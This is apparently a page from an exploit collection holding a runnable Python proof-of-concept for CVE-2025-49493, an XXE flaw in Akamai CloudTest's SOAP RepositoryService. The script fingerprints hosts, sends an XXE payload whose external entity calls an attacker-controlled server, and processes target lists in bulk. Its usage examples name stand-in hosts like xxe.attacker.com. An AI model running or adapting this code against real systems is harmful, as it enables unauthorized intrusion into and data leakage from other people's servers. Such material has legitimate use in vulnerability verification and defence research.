4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.py PY
#!/usr/bin/env python3
"""
Akamai CloudTest XXE Exploit (CVE-2025-49493)

Title: Akamai CloudTest < 60 2025.06.02 - XML External Entity (XXE)
Date: 01/2025
CVE: CVE-2025-49493
Author: xbow,3th1c_yuk1
Vendor Homepage: https://www.akamai.com/
Version: CloudTest before 60 2025.06.02 (12988)
Tested on: Akamai CloudTest environments
"""

import requests
import urllib3
import sys
import argparse
from datetime import datetime
from typing import List
from colored import stylize, fg
import pyfiglet

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class Logger:
    """Enhanced logging utility with colored output"""
    
    @staticmethod
    def format_timestamp() -> str:
        """Format current timestamp for logging"""
        return f"[{datetime.now().strftime('%Y-%m-%d-%H:%M:%S')}]"
    
    @staticmethod
    def info(message: str, host: str = "") -> None:
        """Log info message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [INFO]{host_info} {message}", fg('blue')))
    
    @staticmethod
    def error(message: str, host: str = "") -> None:
        """Log error message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [ERROR]{host_info} {message}", fg('red')))
    
    @staticmethod
    def success(message: str, host: str = "") -> None:
        """Log success message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [SUCCESS]{host_info} {message}", fg('green')))
    
    @staticmethod
    def warning(message: str, host: str = "") -> None:
        """Log warning message"""
        host_info = f" [{host}]" if host else ""
        print(stylize(Logger.format_timestamp(), fg('#ffe900')) + 
              stylize(f" [WARNING]{host_info} {message}", fg('yellow')))


class AkamaiCloudTestExploit:
    """Akamai CloudTest XXE Exploit (CVE-2025-49493)"""
    
    def __init__(self, target: str, timeout: int = 10):
        self.target = self._validate_url(target)
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.cve_id = "CVE-2025-49493"
        self.exploit_path = "/concerto/services/RepositoryService"
        self.cloudtest_indicators = [
            'Akamai CloudTest',
            'concerto',
            'CloudTest',
            'akamai'
        ]
        
    def _validate_url(self, url: str) -> str:
        """Validate and format URL"""
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
        return url.rstrip('/')
    
    def get_default_headers(self) -> dict:
        """Get default headers for requests"""
        return {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
        }
        
    def check_vulnerability(self) -> bool:
        """Check if target is vulnerable to CVE-2025-49493"""
        try:
            headers = self.get_default_headers()
            
            # Check if Akamai CloudTest is present
            response = self.session.get(self.target, headers=headers, timeout=self.timeout)
            
            # Check for CloudTest indicators in response
            cloudtest_found = False
            for indicator in self.cloudtest_indicators:
                if indicator.lower() in response.text.lower() or indicator.lower() in str(response.headers).lower():
                    cloudtest_found = True
                    Logger.info(f"CloudTest indicator found: {indicator}", self.target)
                    break
            
            if not cloudtest_found:
                Logger.warning("No CloudTest indicators found, target might not be Akamai CloudTest", self.target)
                return False
            
            # Check if SOAP service endpoint exists
            service_url = f"{self.target}{self.exploit_path}"
            test_response = self.session.get(service_url, headers=headers, timeout=self.timeout)
            
            if test_response.status_code == 404:
                Logger.error("SOAP service endpoint not found", self.target)
                return False
            
            if test_response.status_code in [200, 405, 500]:  # SOAP services often return these codes
                Logger.success("SOAP service endpoint accessible", self.target)
                return True
                
            return False
            
        except requests.exceptions.RequestException as e:
            Logger.error(f"Request failed: {str(e)}", self.target)
            return False
        except Exception as e:
            Logger.error(f"Unexpected error: {str(e)}", self.target)
            return False
    
    def exploit(self, xxe_server: str) -> bool:
        """Execute XXE exploit"""
        if not xxe_server:
            Logger.error("XXE server not provided", self.target)
            return False
            
        try:
            headers = self.get_default_headers()
            headers['Content-Type'] = 'text/html'
            headers['SOAPAction'] = ''
            
            # Create XXE payload based on the nuclei template
            xxe_payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
  <!ENTITY xxe SYSTEM "http://{xxe_server}">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:rep="http://example.com/services/repository">
   <soapenv:Header/>
   <soapenv:Body>
      <rep:getUIBundleObjectXml>
         <rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
      </rep:getUIBundleObjectXml>
   </soapenv:Body>
</soapenv:Envelope>"""
            
            service_url = f"{self.target}{self.exploit_path}"
            
            Logger.info(f"Attempting XXE exploit to: {xxe_server}", self.target)
            Logger.info("Sending malicious SOAP request with XXE payload", self.target)
            
            response = self.session.post(
                service_url,
                data=xxe_payload,
                headers=headers,
                timeout=self.timeout
            )
            
            # Check for successful exploitation indicators based on nuclei template
            success_indicators = [
                'dns' in response.text.lower(),
                'text/xml' in response.headers.get('content-type', '').lower(),
                'XML stream' in response.text,
                response.status_code in [200, 500]
            ]
            
            if any(success_indicators):
                Logger.success("XXE exploit payload sent successfully", self.target)
                Logger.info("Check your XXE server for incoming DNS/HTTP requests", self.target)
                
                # Additional checks for error messages
                if any(error in response.text.lower() for error in ['xml', 'dtd', 'entity', 'external']):
                    Logger.success("XML processing detected - possible successful XXE exploitation", self.target)
                
                return True
            else:
                Logger.error(f"XXE exploit failed (HTTP {response.status_code})", self.target)
                Logger.warning(f"Response body: {response.text[:200]}...", self.target)
                return False
                
        except requests.exceptions.RequestException as e:
            Logger.error(f"XXE exploit failed: {str(e)}", self.target)
            return False
        except Exception as e:
            Logger.error(f"Unexpected error during XXE exploit: {str(e)}", self.target)
            return False


def generate_banner() -> str:
    """Generate banner with CVE information"""
    try:
        title = pyfiglet.figlet_format("AKAMAI XXE", font="slant")
        
        info_lines = [
            "🎯 CVE-2025-49493 | Akamai CloudTest XXE",
            "",
            "🔓 XML External Entity (XXE) Injection",
            "💀 Test First, Analyze After 💀",
            "",
            "Author: xbow,3th1c_yuk1"
        ]
        
        title_lines = title.split('\n')
        max_width = max(len(line) for line in title_lines + info_lines)
        border_width = max_width + 4
        
        banner_lines = []
        banner_lines.append("╔" + "═" * border_width + "╗")
        banner_lines.append("║" + " " * border_width + "║")
        
        for line in title_lines:
            if line.strip():
                padding = (border_width - len(line)) // 2
                banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║")
        
        banner_lines.append("║" + " " * border_width + "║")
        
        for line in info_lines:
            padding = (border_width - len(line)) // 2
            banner_lines.append("║" + " " * padding + line + " " * (border_width - len(line) - padding) + "║")
        
        banner_lines.append("║" + " " * border_width + "║")
        banner_lines.append("╚" + "═" * border_width + "╝")
        
        return "\n" + "\n".join(banner_lines) + "\n"
        
    except ImportError:
        return """
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                                                                                   ║
║                                AKAMAI XXE                                         ║
║                                                                                   ║
║                         🎯 CVE-2025-49493 | Akamai CloudTest XXE                ║
║                                                                                   ║
║                           🔓 XML External Entity (XXE) Injection                 ║
║                              💀 Test First, Analyze After 💀                     ║
║                                                                                   ║
║                             Author: xbow,3th1c_yuk1                              ║
║                                                                                   ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
        """


def load_targets_from_file(file_path: str) -> List[str]:
    """Load targets from file"""
    try:
        with open(file_path, 'r') as file:
            targets = [line.strip() for line in file if line.strip()]
        Logger.info(f"Loaded {len(targets)} targets from {file_path}")
        return targets
    except FileNotFoundError:
        Logger.error(f"Target file not found: {file_path}")
        return []
    except Exception as e:
        Logger.error(f"Error loading targets: {str(e)}")
        return []


def main():
    """Main function"""
    print(stylize(generate_banner(), fg('red')))
    
    parser = argparse.ArgumentParser(
        description="Akamai CloudTest XXE Exploit (CVE-2025-49493)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python akamai_xxe.py targets.txt xxe.attacker.com
  python akamai_xxe.py targets.txt collaborator.burp.com --timeout 20
  python akamai_xxe.py targets.txt attacker.interactsh.com
        """
    )
    
    parser.add_argument('targets', help='Target file containing list of Akamai CloudTest hosts')
    parser.add_argument('xxe_server', help='XXE server to capture requests (e.g., attacker.com or IP)')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
    
    if len(sys.argv) < 3:
        parser.print_help()
        sys.exit(1)
    
    args = parser.parse_args()
    
    # Load targets from file
    targets = load_targets_from_file(args.targets)
    if not targets:
        Logger.error("No targets to process")
        sys.exit(1)
    
    # Run exploit
    Logger.info(f"Starting Akamai CloudTest XXE exploit against {len(targets)} targets")
    Logger.info(f"XXE Server: {args.xxe_server}")
    Logger.warning("Ensure your XXE server is ready to capture DNS/HTTP requests!")
    
    successful_exploits = 0
    for target in targets:
        exploit = AkamaiCloudTestExploit(target, timeout=args.timeout)
        if exploit.check_vulnerability():
            if exploit.exploit(args.xxe_server):
                successful_exploits += 1
    
    Logger.info(f"Exploit execution completed - {successful_exploits}/{len(targets)} successful")
    Logger.info("Check your XXE server logs for captured requests")


if __name__ == "__main__":
    main()